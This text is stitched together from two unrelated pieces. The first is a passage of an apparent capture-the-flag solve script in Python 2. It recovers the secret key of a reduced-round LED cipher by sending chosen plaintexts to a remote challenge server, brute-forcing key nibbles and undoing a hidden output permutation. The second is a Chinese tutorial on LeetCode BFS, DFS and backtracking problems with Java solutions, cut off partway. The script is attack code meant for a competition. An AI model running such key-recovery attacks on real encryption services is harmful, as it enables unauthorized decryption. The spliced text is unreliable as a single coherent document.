state[2][0] ^= LED & 0xf
state[3][0] ^= LED & 0xf
tmp = (RC[r] >> 3) & 7
state[0][1] ^= tmp
state[2][1] ^= tmp
tmp = RC[r] & 7
state[1][1] ^= tmp
state[3][1] ^= tmp
def SubCell():
global state
for i in range(0,4):
for j in range(0,4):
state[i][j] = sbox[state[i][j]]
def ShiftRow():
global state
tmp = [0]*4
for i in range(1,4):
for j in range(0,4):tmp[j] = state[i][j]
for j in range(0,4):state[i][j] = tmp[(j+i)%4]
def MixColumn():
global state
tmp = [0]*4
for j in range(0,4):
for i in range(0,4):
sum = 0
for k in range(0,4):
sum ^= FieldMult(MixColMatrix[i][k], state[k][j])
tmp[i] = sum
for i in range(0,4):state[i][j] = tmp[i]
def host_encrypt_for_key(input,userkey,sbox_lazy,rounds):
"""
input - list of integers from range 0x0 - 0xFF
userkey - list of integers from range 0x0 - 0xFF
rounds - lazy
sbox_lazy - my chosen sbox_lazy
returns: string
"""
global state, LED
ksbits = 16*8
if rounds < 1 or rounds > 10:
print "Sorry I'm not in the mood. Bye!"
exit(0)
keyNibbles = [0]*32
for i in range(0,16):
if (i%2) == 1: state[i/4][i%4] = input[i>>1]&0xF
else: state[i/4][i%4] = (input[i>>1]>>4)&0xF
#state to input
for i in range(0,ksbits/4):
if (i%2) == 1: keyNibbles[i] = userkey[i>>1]&0xF
else: keyNibbles[i] = (userkey[i>>1]>>4)&0xF
#print "keyNibbles = "+str(keyNibbles) #len(_)=32
LED = ksbits
RN = 48
if LED <= 64: RN = 32
AddKey(keyNibbles,0)
#print "state = "
#print state
rr = 0
for i in range(0,RN/4): # I don't want to do it so many times!
for j in range(0,4):
AddConstants(i*4+j)
SubCell()
ShiftRow()
MixColumn()
rr += 1
if rr == rounds:break # bye!
if rr == rounds:break # bye!
AddKey(keyNibbles, i+1)
""" Making output string is so hard for me!
output = [0]*8
ret = ""
for i in range(0,8):
output[i] = ((state[(2*i)/4][(2*i)%4] & 0xF) << 4) | (state[(2*i+1)/4][(2*i+1)%4] & 0xF)
ret += chr( output[i] )
"""
ret = ""
for i in range(0,4):
for j in range(0,4):
ret += chr(state[i][j])
#print "ret :"+repr(ret)
ret2 = ""
for i in range(16):
ret2 += ret[ sbox_lazy[i] ] # Now it's safe!
#print "ret2 :"+repr(ret2)
return ret2
def Lazy_LED_enc_no_lazy_sbox(input,userkey,ksbits,rounds):
"""
userkey -list
input - list
"""
global state, LED, sbox_lazy
if rounds < 1 or rounds > 10:
print "Sorry I'm not in the mood. Bye!"
exit(0)
keyNibbles = [0]*32
for i in range(0,16):
if (i%2) == 1: state[i/4][i%4] = input[i>>1]&0xF
else: state[i/4][i%4] = (input[i>>1]>>4)&0xF
#state to input
for i in range(0,ksbits/4):
if (i%2) == 1: keyNibbles[i] = userkey[i>>1]&0xF
else: keyNibbles[i] = (userkey[i>>1]>>4)&0xF
LED = ksbits
RN = 48
if LED <= 64: RN = 32
AddKey(keyNibbles,0)
rr = 0
for i in range(0,RN/4): #I don't want to do it so many times!
for j in range(0,4):
AddConstants(i*4+j)
SubCell()
ShiftRow()
MixColumn()
rr += 1
if rr == rounds:break # bye!
if rr == rounds:break # bye!
AddKey(keyNibbles, i+1)
""" Making output string is so hard for me!
output = [0]*8
ret = ""
for i in range(0,8):
output[i] = ((state[(2*i)/4][(2*i)%4] & 0xF) << 4) | (state[(2*i+1)/4][(2*i+1)%4] & 0xF)
ret += chr( output[i] )
"""
ret = ""
for i in range(0,4):
for j in range(0,4):
ret += chr(state[i][j])
#print "ret :"+repr(ret)
return ret
"""
#to nibbles
for i in range(0,ksbits/4): #tutaj sie liczy jakies keyNibbles z calego keya, aaaaa, bajty sa rozdzialane na polowy
if (i%2) == 1: keyNibbles[i] = userkey[i>>1]&0xF
else: keyNibbles[i] = (userkey[i>>1]>>4)&0xF
"""
def from_nibbles(nibbles):
key = []
for i in range(len(nibbles)/2):
key.append(nibbles[i*2]*16+nibbles[i*2+1])
return key
server_encrypt_for_nibbles_map = {}
def to_hex(i):
e = hex(i)[2:]
if len(e) == 1:
e = "0"+e
return e
server_encrypt_cache = {}
def server_encrypt(password, lazy):
"""
password - list integers from range 0x0 - 0xFF
"""
global r
global remote_start_time
global server_encrypt_cache
if (tuple(password), lazy) in server_encrypt_cache:
return server_encrypt_cache[(tuple(password), lazy)]
if r == None:
r = remote(HOST,PORT)
r.recvuntil("hex.")
remote_start_time = time.time()
#local:
#return Lazy_LED_enc(password, k_data, 16*8, lazy)
#remote:
r.sendline( "".join(map(lambda x: to_hex(x), password ))+"lazy"+str(lazy) )
data = r.recvuntil("hex.")
print repr(data)
print re.findall(r"ciphertext: \n([0-9a-f]{32})",data)
cipher = re.findall(r"ciphertext: \n([0-9a-f]{32})",data)[0]
ret = cipher.decode("hex")
server_encrypt_cache[(tuple(password), lazy)] = ret
return ret
def server_encrypt_for_nibbles(arg,nibbles):
password = [0 for x in range(16)]
password[nibbles[0]]=arg[0]
password[nibbles[1]]=arg[1]
password[nibbles[2]]=arg[2]
password[nibbles[3]]=arg[3]
out = server_encrypt(from_nibbles(password), 1)
out = [ord(x) for x in out]
return out
def server_encrypt_for_nibbles_(arg,nibbles1,nibbles2,nibbles3,nibbles4):
password = [0 for x in range(16)]
password[nibbles1[0]]=arg[0]
password[nibbles1[1]]=arg[1]
password[nibbles1[2]]=arg[2]
password[nibbles1[3]]=arg[3]
password[nibbles2[0]]=arg[0]
password[nibbles2[1]]=arg[1]
password[nibbles2[2]]=arg[2]
password[nibbles2[3]]=arg[3]
password[nibbles3[0]]=arg[0]
password[nibbles3[1]]=arg[1]
password[nibbles3[2]]=arg[2]
password[nibbles3[3]]=arg[3]
password[nibbles4[0]]=arg[0]
password[nibbles4[1]]=arg[1]
password[nibbles4[2]]=arg[2]
password[nibbles4[3]]=arg[3]
out = server_encrypt(from_nibbles(password), 1)
out = [ord(x) for x in out]
return out
def get_changing_bytes(tests,nibbles):
chbytes = set()
prev = server_encrypt_for_nibbles(tests[0],nibbles)
for test in tests[1:]:
now = server_encrypt_for_nibbles(test,nibbles)
print "****"
print now
print prev
for i in range(16):
if prev[i]!=now[i]:
chbytes.add(i)
if len(chbytes) == 4:
break
assert( len(chbytes) == 4 )
return list(chbytes)
def compute_key_out(out_nibbles, in_nibbles):
#brute one column - nibbles in -> nibbles out
key_out = {}
for n1 in range(16):
for n2 in range(16):
for n3 in range(16):
for n4 in range(16):
nibbles = [0 for x in range(16)]
nibbles[in_nibbles[0]]=n1
nibbles[in_nibbles[1]]=n2
nibbles[in_nibbles[2]]=n3
nibbles[in_nibbles[3]]=n4
key = from_nibbles(nibbles)
out = Lazy_LED_enc_no_lazy_sbox([0 for x in range(8)], key + [0 for x in range(8)], 16*8, 1)
out = [ord(x) for x in out]
out = [out[out_nibbles[0]],out[out_nibbles[1]],out[out_nibbles[2]],out[out_nibbles[3]]]
key_out[(n1,n2,n3,n4)]=tuple(sorted(out)) # posortowane
print "map key_out created!"
return key_out
def solve_for_nibbles(key_out, out_nibbles, in_nibbles, nibbles_list):
nibbles1 = nibbles_list[0]
nibbles2 = nibbles_list[1]
nibbles3 = nibbles_list[2]
nibbles4 = nibbles_list[3]
password_tests = [tuple([y for x in range(4)]) for y in range(16)]
changing_bytes = get_changing_bytes(password_tests,in_nibbles)
print "changing bytes = "+str(changing_bytes)
for n1 in range(16):
for n2 in range(16):
for n3 in range(16):
for n4 in range(16):
key_correct = True
for password in password_tests:
out = server_encrypt_for_nibbles_(password,nibbles1,nibbles2,nibbles3,nibbles4) #co ta funkcjarobi
out = tuple(sorted([out[changing_bytes[0]],out[changing_bytes[1]],out[changing_bytes[2]],out[changing_bytes[3]]]))
real_out = key_out[(n1^password[0],n2^password[1],n3^password[2],n4^password[3])]
if out!=real_out:
key_correct=False
break
if key_correct:
print "found 2B of key!!!"
print (n1,n2,n3,n4)
return (n1,n2,n3,n4)
def update_key_nibbles(key_nibbles, nibbles, key_part):
for i in range(4):
key_nibbles[nibbles[i]]=key_part[i]
def recover_lazy_sbox(key_nibbles):
"""
key_nibbles - list
"""
password_tests = [[0x41]*8,[0x61]*8,[0x63]*8,[0x7a]*8,[0x00]*8,[0x20]*8,[0xf0]*8,[0xaa]*8,[0xc8]*8]
lazy_sbox = [None]*16
b = False
for test in password_tests:
if b:
break
real_out = server_encrypt(test, 1)
real_out = [ord(x) for x in real_out]
my_out = Lazy_LED_enc_no_lazy_sbox(test, from_nibbles(key_nibbles+ [0 for x in range(16)]), 16*8, 1)
my_out = [ord(x) for x in my_out]
"""
print "!!!!"
print sbox_lazy
print my_out
print real_out
"""
for i in range(16):
if my_out.count(i) == 1:
idx1 = my_out.index(i)
idx2 = real_out.index(i)
lazy_sbox[idx2] = idx1
if not None in lazy_sbox:
b = True
break
#print lazy_sbox
print "lazy sbox = "+str(lazy_sbox)
return lazy_sbox
def reverse_permutation(l):
r = [None for x in l]
for i in range(len(l)):
r[l[i]] = i
return r
def worker( arguments ):
half_key_nibbles = arguments[0]
lazy_sbox = arguments[1]
server_out = arguments[2]
nibbles1 = arguments[3]
nibbles2 = arguments[4]
return solve2_for_nibbles(half_key_nibbles, lazy_sbox, server_out, nibbles1,nibbles2)
def solve_second_part(half_key_nibbles, lazy_sbox):
test_password = [0x61]*8
server_out = server_encrypt(test_password, 5)
server_out = map(ord, server_out)
#let's multithread this
"""
fifth_2B = solve2_for_nibbles(half_key_nibbles, lazy_sbox, server_out, (0,4,8,12),(0,5,10,15))
sixth_2B = solve2_for_nibbles(half_key_nibbles, lazy_sbox, server_out, (1,5,9,13),(1,6,11,12))
seventh_2B = solve2_for_nibbles(half_key_nibbles, lazy_sbox, server_out, (2,6,10,14),(2,7,8,13))
eighth_2B = solve2_for_nibbles(half_key_nibbles, lazy_sbox, server_out, (3,7,11,15),(3,4,9,14))
"""
print "starting multiprocessing"
print "time = "+str(int(time.time()-remote_start_time))
pool = multiprocessing.Pool(processes=4)
result = pool.map(worker, [(half_key_nibbles, lazy_sbox, server_out,(0,4,8,12),(0,5,10,15)) , (half_key_nibbles, lazy_sbox, server_out,(1,5,9,13),(1,6,11,12)) , (half_key_nibbles, lazy_sbox, server_out,(2,6,10,14),(2,7,8,13)) , (half_key_nibbles, lazy_sbox, server_out,(3,7,11,15),(3,4,9,14)) ])
pool.close()
print result
(fifth_2B, sixth_2B, seventh_2B, eighth_2B) = result
#join them in key
key_nibbles = [0]*16
update_key_nibbles(key_nibbles, (0,5,10,15), fifth_2B)
update_key_nibbles(key_nibbles, (1,6,11,12), sixth_2B)
update_key_nibbles(key_nibbles, (2,7,8,13), seventh_2B)
update_key_nibbles(key_nibbles, (3,4,9,14), eighth_2B)
key = from_nibbles(key_nibbles)
print "second part of key = "+str(key)
return key
def solve2_for_nibbles(half_key_nibbles, lazy_sbox, server_out, out_nibbles, in_nibbles):
test_password = [0x61]*8
lazy_sbox_reverse = reverse_permutation(lazy_sbox)
changing_bytes = [lazy_sbox_reverse[out_nibbles[x]] for x in range(4) ]
print "changing bytes = "+str(changing_bytes)
for n1 in range(16):
for n2 in range(16):
for n3 in range(16):
for n4 in range(16):
nibbles = [0 for x in range(16)]
nibbles[in_nibbles[0]]=n1
nibbles[in_nibbles[1]]=n2
nibbles[in_nibbles[2]]=n3
nibbles[in_nibbles[3]]=n4
out = host_encrypt_for_key(test_password,from_nibbles(half_key_nibbles + nibbles), lazy_sbox, 5)
out = map(ord, out)
if out[changing_bytes[0]] == server_out[changing_bytes[0]] and out[changing_bytes[1]] == server_out[changing_bytes[1]] and out[changing_bytes[2]] == server_out[changing_bytes[2]] and out[changing_bytes[3]] == server_out[changing_bytes[3]]:
new_part = (n1,n2,n3,n4)
print "found next 2B part!! "+str(new_part)
print "time = "+str(int(time.time()-remote_start_time))
return new_part
def solve():
#get 4 2-Bytes parts of key
key_out1 = compute_key_out((0,4,8,12),(0,5,10,15))
key_out2 = compute_key_out((1,5,9,13),(1,6,11,12))
key_out3 = compute_key_out((2,6,10,14),(2,7,8,13))
key_out4 = compute_key_out((3,7,11,15),(3,4,9,14))
nibbles_list = [(0,5,10,15), (1,6,11,12), (2,7,8,13), (3,4,9,14)]
first_2B = solve_for_nibbles(key_out1,(0,4,8,12),(0,5,10,15), nibbles_list)
second_2B = solve_for_nibbles(key_out2,(1,5,9,13),(1,6,11,12), nibbles_list)
third_2B = solve_for_nibbles(key_out3,(2,6,10,14),(2,7,8,13), nibbles_list)
fourth_2B = solve_for_nibbles(key_out4,(3,7,11,15),(3,4,9,14), nibbles_list)
#join them in key
key_nibbles = [0]*16
update_key_nibbles(key_nibbles, (0,5,10,15), first_2B)
update_key_nibbles(key_nibbles, (1,6,11,12), second_2B)
update_key_nibbles(key_nibbles, (2,7,8,13), third_2B)
update_key_nibbles(key_nibbles, (3,4,9,14), fourth_2B)
key = from_nibbles(key_nibbles)
print "key = "+str(key)
lazy_sbox = recover_lazy_sbox(key_nibbles)
second_half_of_key = solve_second_part(key_nibbles, lazy_sbox)
key = key + second_half_of_key
r.sendline("exit")
r.recvuntil("key?")
r.sendline("".join(map(to_hex,key)))
print r.recv()
print r.recv()
print "key = "+str(key)
print "time = "+str(int(time.time()-remote_start_time))
if __name__ == '__main__':
solve()
|
sec-knowleage
|
# Leetcode 题解 - 搜索
<!-- GFM-TOC -->
* [Leetcode 题解 - 搜索](#leetcode-题解---搜索)
* [BFS](#bfs)
* [1. 计算在网格中从原点到特定点的最短路径长度](#1-计算在网格中从原点到特定点的最短路径长度)
* [2. 组成整数的最小平方数数量](#2-组成整数的最小平方数数量)
* [3. 最短单词路径](#3-最短单词路径)
* [DFS](#dfs)
* [1. 查找最大的连通面积](#1-查找最大的连通面积)
* [2. 矩阵中的连通分量数目](#2-矩阵中的连通分量数目)
* [3. 好友关系的连通分量数目](#3-好友关系的连通分量数目)
* [4. 填充封闭区域](#4-填充封闭区域)
* [5. 能到达的太平洋和大西洋的区域](#5-能到达的太平洋和大西洋的区域)
* [Backtracking](#backtracking)
* [1. 数字键盘组合](#1-数字键盘组合)
* [2. IP 地址划分](#2-ip-地址划分)
* [3. 在矩阵中寻找字符串](#3-在矩阵中寻找字符串)
* [4. 输出二叉树中所有从根到叶子的路径](#4-输出二叉树中所有从根到叶子的路径)
* [5. 排列](#5-排列)
* [6. 含有相同元素求排列](#6-含有相同元素求排列)
* [7. 组合](#7-组合)
* [8. 组合求和](#8-组合求和)
* [9. 含有相同元素的组合求和](#9-含有相同元素的组合求和)
* [10. 1-9 数字的组合求和](#10-1-9-数字的组合求和)
* [11. 子集](#11-子集)
* [12. 含有相同元素求子集](#12-含有相同元素求子集)
* [13. 分割字符串使得每个部分都是回文数](#13-分割字符串使得每个部分都是回文数)
* [14. 数独](#14-数独)
* [15. N 皇后](#15-n-皇后)
<!-- GFM-TOC -->
深度优先搜索和广度优先搜索广泛运用于树和图中,但是它们的应用远远不止如此。
## BFS
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/95903878-725b-4ed9-bded-bc4aae0792a9.jpg"/> </div><br>
广度优先搜索一层一层地进行遍历,每层遍历都是以上一层遍历的结果作为起点,遍历一个距离能访问到的所有节点。需要注意的是,遍历过的节点不能再次被遍历。
第一层:
- 0 -\> {6,2,1,5}
第二层:
- 6 -\> {4}
- 2 -\> {}
- 1 -\> {}
- 5 -\> {3}
第三层:
- 4 -\> {}
- 3 -\> {}
每一层遍历的节点都与根节点距离相同。设 d<sub>i</sub> 表示第 i 个节点与根节点的距离,推导出一个结论:对于先遍历的节点 i 与后遍历的节点 j,有 d<sub>i</sub> <= d<sub>j</sub>。利用这个结论,可以求解最短路径等 **最优解** 问题:第一次遍历到目的节点,其所经过的路径为最短路径。应该注意的是,使用 BFS 只能求解无权图的最短路径,无权图是指从一个节点到另一个节点的代价都记为 1。
在程序实现 BFS 时需要考虑以下问题:
- 队列:用来存储每一轮遍历得到的节点;
- 标记:对于遍历过的节点,应该将它标记,防止重复遍历。
### 1. 计算在网格中从原点到特定点的最短路径长度
1091\. Shortest Path in Binary Matrix(Medium)
[Leetcode](https://leetcode.com/problems/shortest-path-in-binary-matrix/) / [力扣](https://leetcode-cn.com/problems/shortest-path-in-binary-matrix/)
```html
[[1,1,0,1],
[1,0,1,0],
[1,1,1,1],
[1,0,1,1]]
```
题目描述:0 表示可以经过某个位置,求解从左上角到右下角的最短路径长度。
```java
public int shortestPathBinaryMatrix(int[][] grids) {
if (grids == null || grids.length == 0 || grids[0].length == 0) {
return -1;
}
int[][] direction = {{1, -1}, {1, 0}, {1, 1}, {0, -1}, {0, 1}, {-1, -1}, {-1, 0}, {-1, 1}};
int m = grids.length, n = grids[0].length;
Queue<Pair<Integer, Integer>> queue = new LinkedList<>();
queue.add(new Pair<>(0, 0));
int pathLength = 0;
while (!queue.isEmpty()) {
int size = queue.size();
pathLength++;
while (size-- > 0) {
Pair<Integer, Integer> cur = queue.poll();
int cr = cur.getKey(), cc = cur.getValue();
if (grids[cr][cc] == 1) {
continue;
}
if (cr == m - 1 && cc == n - 1) {
return pathLength;
}
grids[cr][cc] = 1; // 标记
for (int[] d : direction) {
int nr = cr + d[0], nc = cc + d[1];
if (nr < 0 || nr >= m || nc < 0 || nc >= n) {
continue;
}
queue.add(new Pair<>(nr, nc));
}
}
}
return -1;
}
```
### 2. 组成整数的最小平方数数量
279\. Perfect Squares (Medium)
[Leetcode](https://leetcode.com/problems/perfect-squares/description/) / [力扣](https://leetcode-cn.com/problems/perfect-squares/description/)
```html
For example, given n = 12, return 3 because 12 = 4 + 4 + 4; given n = 13, return 2 because 13 = 4 + 9.
```
可以将每个整数看成图中的一个节点,如果两个整数之差为一个平方数,那么这两个整数所在的节点就有一条边。
要求解最小的平方数数量,就是求解从节点 n 到节点 0 的最短路径。
本题也可以用动态规划求解,在之后动态规划部分中会再次出现。
```java
public int numSquares(int n) {
List<Integer> squares = generateSquares(n);
Queue<Integer> queue = new LinkedList<>();
boolean[] marked = new boolean[n + 1];
queue.add(n);
marked[n] = true;
int level = 0;
while (!queue.isEmpty()) {
int size = queue.size();
level++;
while (size-- > 0) {
int cur = queue.poll();
for (int s : squares) {
int next = cur - s;
if (next < 0) {
break;
}
if (next == 0) {
return level;
}
if (marked[next]) {
continue;
}
marked[next] = true;
queue.add(next);
}
}
}
return n;
}
/**
* 生成小于 n 的平方数序列
* @return 1,4,9,...
*/
private List<Integer> generateSquares(int n) {
List<Integer> squares = new ArrayList<>();
int square = 1;
int diff = 3;
while (square <= n) {
squares.add(square);
square += diff;
diff += 2;
}
return squares;
}
```
### 3. 最短单词路径
127\. Word Ladder (Medium)
[Leetcode](https://leetcode.com/problems/word-ladder/description/) / [力扣](https://leetcode-cn.com/problems/word-ladder/description/)
```html
Input:
beginWord = "hit",
endWord = "cog",
wordList = ["hot","dot","dog","lot","log","cog"]
Output: 5
Explanation: As one shortest transformation is "hit" -> "hot" -> "dot" -> "dog" -> "cog",
return its length 5.
```
```html
Input:
beginWord = "hit"
endWord = "cog"
wordList = ["hot","dot","dog","lot","log"]
Output: 0
Explanation: The endWord "cog" is not in wordList, therefore no possible transformation.
```
题目描述:找出一条从 beginWord 到 endWord 的最短路径,每次移动规定为改变一个字符,并且改变之后的字符串必须在 wordList 中。
```java
public int ladderLength(String beginWord, String endWord, List<String> wordList) {
wordList.add(beginWord);
int N = wordList.size();
int start = N - 1;
int end = 0;
while (end < N && !wordList.get(end).equals(endWord)) {
end++;
}
if (end == N) {
return 0;
}
List<Integer>[] graphic = buildGraphic(wordList);
return getShortestPath(graphic, start, end);
}
private List<Integer>[] buildGraphic(List<String> wordList) {
int N = wordList.size();
List<Integer>[] graphic = new List[N];
for (int i = 0; i < N; i++) {
graphic[i] = new ArrayList<>();
for (int j = 0; j < N; j++) {
if (isConnect(wordList.get(i), wordList.get(j))) {
graphic[i].add(j);
}
}
}
return graphic;
}
private boolean isConnect(String s1, String s2) {
int diffCnt = 0;
for (int i = 0; i < s1.length() && diffCnt <= 1; i++) {
if (s1.charAt(i) != s2.charAt(i)) {
diffCnt++;
}
}
return diffCnt == 1;
}
private int getShortestPath(List<Integer>[] graphic, int start, int end) {
Queue<Integer> queue = new LinkedList<>();
boolean[] marked = new boolean[graphic.length];
queue.add(start);
marked[start] = true;
int path = 1;
while (!queue.isEmpty()) {
int size = queue.size();
path++;
while (size-- > 0) {
int cur = queue.poll();
for (int next : graphic[cur]) {
if (next == end) {
return path;
}
if (marked[next]) {
continue;
}
marked[next] = true;
queue.add(next);
}
}
}
return 0;
}
```
## DFS
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/74dc31eb-6baa-47ea-ab1c-d27a0ca35093.png"/> </div><br>
广度优先搜索一层一层遍历,每一层得到的所有新节点,要用队列存储起来以备下一层遍历的时候再遍历。
而深度优先搜索在得到一个新节点时立即对新节点进行遍历:从节点 0 出发开始遍历,得到到新节点 6 时,立马对新节点 6 进行遍历,得到新节点 4;如此反复以这种方式遍历新节点,直到没有新节点了,此时返回。返回到根节点 0 的情况是,继续对根节点 0 进行遍历,得到新节点 2,然后继续以上步骤。
从一个节点出发,使用 DFS 对一个图进行遍历时,能够遍历到的节点都是从初始节点可达的,DFS 常用来求解这种 **可达性** 问题。
在程序实现 DFS 时需要考虑以下问题:
- 栈:用栈来保存当前节点信息,当遍历新节点返回时能够继续遍历当前节点。可以使用递归栈。
- 标记:和 BFS 一样同样需要对已经遍历过的节点进行标记。
### 1. 查找最大的连通面积
695\. Max Area of Island (Medium)
[Leetcode](https://leetcode.com/problems/max-area-of-island/description/) / [力扣](https://leetcode-cn.com/problems/max-area-of-island/description/)
```html
[[0,0,1,0,0,0,0,1,0,0,0,0,0],
[0,0,0,0,0,0,0,1,1,1,0,0,0],
[0,1,1,0,1,0,0,0,0,0,0,0,0],
[0,1,0,0,1,1,0,0,1,0,1,0,0],
[0,1,0,0,1,1,0,0,1,1,1,0,0],
[0,0,0,0,0,0,0,0,0,0,1,0,0],
[0,0,0,0,0,0,0,1,1,1,0,0,0],
[0,0,0,0,0,0,0,1,1,0,0,0,0]]
```
```java
private int m, n;
private int[][] direction = {{0, 1}, {0, -1}, {1, 0}, {-1, 0}};
public int maxAreaOfIsland(int[][] grid) {
if (grid == null || grid.length == 0) {
return 0;
}
m = grid.length;
n = grid[0].length;
int maxArea = 0;
for (int i = 0; i < m; i++) {
for (int j = 0; j < n; j++) {
maxArea = Math.max(maxArea, dfs(grid, i, j));
}
}
return maxArea;
}
private int dfs(int[][] grid, int r, int c) {
if (r < 0 || r >= m || c < 0 || c >= n || grid[r][c] == 0) {
return 0;
}
grid[r][c] = 0;
int area = 1;
for (int[] d : direction) {
area += dfs(grid, r + d[0], c + d[1]);
}
return area;
}
```
### 2. 矩阵中的连通分量数目
200\. Number of Islands (Medium)
[Leetcode](https://leetcode.com/problems/number-of-islands/description/) / [力扣](https://leetcode-cn.com/problems/number-of-islands/description/)
```html
Input:
11000
11000
00100
00011
Output: 3
```
可以将矩阵表示看成一张有向图。
```java
private int m, n;
private int[][] direction = {{0, 1}, {0, -1}, {1, 0}, {-1, 0}};
public int numIslands(char[][] grid) {
if (grid == null || grid.length == 0) {
return 0;
}
m = grid.length;
n = grid[0].length;
int islandsNum = 0;
for (int i = 0; i < m; i++) {
for (int j = 0; j < n; j++) {
if (grid[i][j] != '0') {
dfs(grid, i, j);
islandsNum++;
}
}
}
return islandsNum;
}
private void dfs(char[][] grid, int i, int j) {
if (i < 0 || i >= m || j < 0 || j >= n || grid[i][j] == '0') {
return;
}
grid[i][j] = '0';
for (int[] d : direction) {
dfs(grid, i + d[0], j + d[1]);
}
}
```
### 3. 好友关系的连通分量数目
547\. Friend Circles (Medium)
[Leetcode](https://leetcode.com/problems/friend-circles/description/) / [力扣](https://leetcode-cn.com/problems/friend-circles/description/)
```html
Input:
[[1,1,0],
[1,1,0],
[0,0,1]]
Output: 2
Explanation:The 0th and 1st students are direct friends, so they are in a friend circle.
The 2nd student himself is in a friend circle. So return 2.
```
题目描述:好友关系可以看成是一个无向图,例如第 0 个人与第 1 个人是好友,那么 M[0][1] 和 M[1][0] 的值都为 1。
```java
private int n;
public int findCircleNum(int[][] M) {
n = M.length;
int circleNum = 0;
boolean[] hasVisited = new boolean[n];
for (int i = 0; i < n; i++) {
if (!hasVisited[i]) {
dfs(M, i, hasVisited);
circleNum++;
}
}
return circleNum;
}
private void dfs(int[][] M, int i, boolean[] hasVisited) {
hasVisited[i] = true;
for (int k = 0; k < n; k++) {
if (M[i][k] == 1 && !hasVisited[k]) {
dfs(M, k, hasVisited);
}
}
}
```
### 4. 填充封闭区域
130\. Surrounded Regions (Medium)
[Leetcode](https://leetcode.com/problems/surrounded-regions/description/) / [力扣](https://leetcode-cn.com/problems/surrounded-regions/description/)
```html
For example,
X X X X
X O O X
X X O X
X O X X
After running your function, the board should be:
X X X X
X X X X
X X X X
X O X X
```
题目描述:使被 'X' 包围的 'O' 转换为 'X'。
先填充最外侧,剩下的就是里侧了。
```java
private int[][] direction = {{0, 1}, {0, -1}, {1, 0}, {-1, 0}};
private int m, n;
public void solve(char[][] board) {
if (board == null || board.length == 0) {
return;
}
m = board.length;
n = board[0].length;
for (int i = 0; i < m; i++) {
dfs(board, i, 0);
dfs(board, i, n - 1);
}
for (int i = 0; i < n; i++) {
dfs(board, 0, i);
dfs(board, m - 1, i);
}
for (int i = 0; i < m; i++) {
for (int j = 0; j < n; j++) {
if (board[i][j] == 'T') {
board[i][j] = 'O';
} else if (board[i][j] == 'O') {
board[i][j] = 'X';
}
}
}
}
private void dfs(char[][] board, int r, int c) {
if (r < 0 || r >= m || c < 0 || c >= n || board[r][c] != 'O') {
return;
}
board[r][c] = 'T';
for (int[] d : direction) {
dfs(board, r + d[0], c + d[1]);
}
}
```
### 5. 能到达的太平洋和大西洋的区域
417\. Pacific Atlantic Water Flow (Medium)
[Leetcode](https://leetcode.com/problems/pacific-atlantic-water-flow/description/) / [力扣](https://leetcode-cn.com/problems/pacific-atlantic-water-flow/description/)
```html
Given the following 5x5 matrix:
Pacific ~ ~ ~ ~ ~
~ 1 2 2 3 (5) *
~ 3 2 3 (4) (4) *
~ 2 4 (5) 3 1 *
~ (6) (7) 1 4 5 *
~ (5) 1 1 2 4 *
* * * * * Atlantic
Return:
[[0, 4], [1, 3], [1, 4], [2, 2], [3, 0], [3, 1], [4, 0]] (positions with parentheses in above matrix).
```
左边和上边是太平洋,右边和下边是大西洋,内部的数字代表海拔,海拔高的地方的水能够流到低的地方,求解水能够流到太平洋和大西洋的所有位置。
```java
private int m, n;
private int[][] matrix;
private int[][] direction = {{0, 1}, {0, -1}, {1, 0}, {-1, 0}};
public List<List<Integer>> pacificAtlantic(int[][] matrix) {
List<List<Integer>> ret = new ArrayList<>();
if (matrix == null || matrix.length == 0) {
return ret;
}
m = matrix.length;
n = matrix[0].length;
this.matrix = matrix;
boolean[][] canReachP = new boolean[m][n];
boolean[][] canReachA = new boolean[m][n];
for (int i = 0; i < m; i++) {
dfs(i, 0, canReachP);
dfs(i, n - 1, canReachA);
}
for (int i = 0; i < n; i++) {
dfs(0, i, canReachP);
dfs(m - 1, i, canReachA);
}
for (int i = 0; i < m; i++) {
for (int j = 0; j < n; j++) {
if (canReachP[i][j] && canReachA[i][j]) {
ret.add(Arrays.asList(i, j));
}
}
}
return ret;
}
private void dfs(int r, int c, boolean[][] canReach) {
if (canReach[r][c]) {
return;
}
canReach[r][c] = true;
for (int[] d : direction) {
int nextR = d[0] + r;
int nextC = d[1] + c;
if (nextR < 0 || nextR >= m || nextC < 0 || nextC >= n
|| matrix[r][c] > matrix[nextR][nextC]) {
continue;
}
dfs(nextR, nextC, canReach);
}
}
```
## Backtracking
Backtracking(回溯)属于 DFS。
- 普通 DFS 主要用在 **可达性问题** ,这种问题只需要执行到特点的位置然后返回即可。
- 而 Backtracking 主要用于求解 **排列组合** 问题,例如有 { 'a','b','c' } 三个字符,求解所有由这三个字符排列得到的字符串,这种问题在执行到特定的位置返回之后还会继续执行求解过程。
因为 Backtracking 不是立即返回,而要继续求解,因此在程序实现时,需要注意对元素的标记问题:
- 在访问一个新元素进入新的递归调用时,需要将新元素标记为已经访问,这样才能在继续递归调用时不用重复访问该元素;
- 但是在递归返回时,需要将元素标记为未访问,因为只需要保证在一个递归链中不同时访问一个元素,可以访问已经访问过但是不在当前递归链中的元素。
### 1. 数字键盘组合
17\. Letter Combinations of a Phone Number (Medium)
[Leetcode](https://leetcode.com/problems/letter-combinations-of-a-phone-number/description/) / [力扣](https://leetcode-cn.com/problems/letter-combinations-of-a-phone-number/description/)
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/9823768c-212b-4b1a-b69a-b3f59e07b977.jpg"/> </div><br>
```html
Input:Digit string "23"
Output: ["ad", "ae", "af", "bd", "be", "bf", "cd", "ce", "cf"].
```
```java
private static final String[] KEYS = {"", "", "abc", "def", "ghi", "jkl", "mno", "pqrs", "tuv", "wxyz"};
public List<String> letterCombinations(String digits) {
List<String> combinations = new ArrayList<>();
if (digits == null || digits.length() == 0) {
return combinations;
}
doCombination(new StringBuilder(), combinations, digits);
return combinations;
}
private void doCombination(StringBuilder prefix, List<String> combinations, final String digits) {
if (prefix.length() == digits.length()) {
combinations.add(prefix.toString());
return;
}
int curDigits = digits.charAt(prefix.length()) - '0';
String letters = KEYS[curDigits];
for (char c : letters.toCharArray()) {
prefix.append(c); // 添加
doCombination(prefix, combinations, digits);
prefix.deleteCharAt(prefix.length() - 1); // 删除
}
}
```
### 2. IP 地址划分
93\. Restore IP Addresses(Medium)
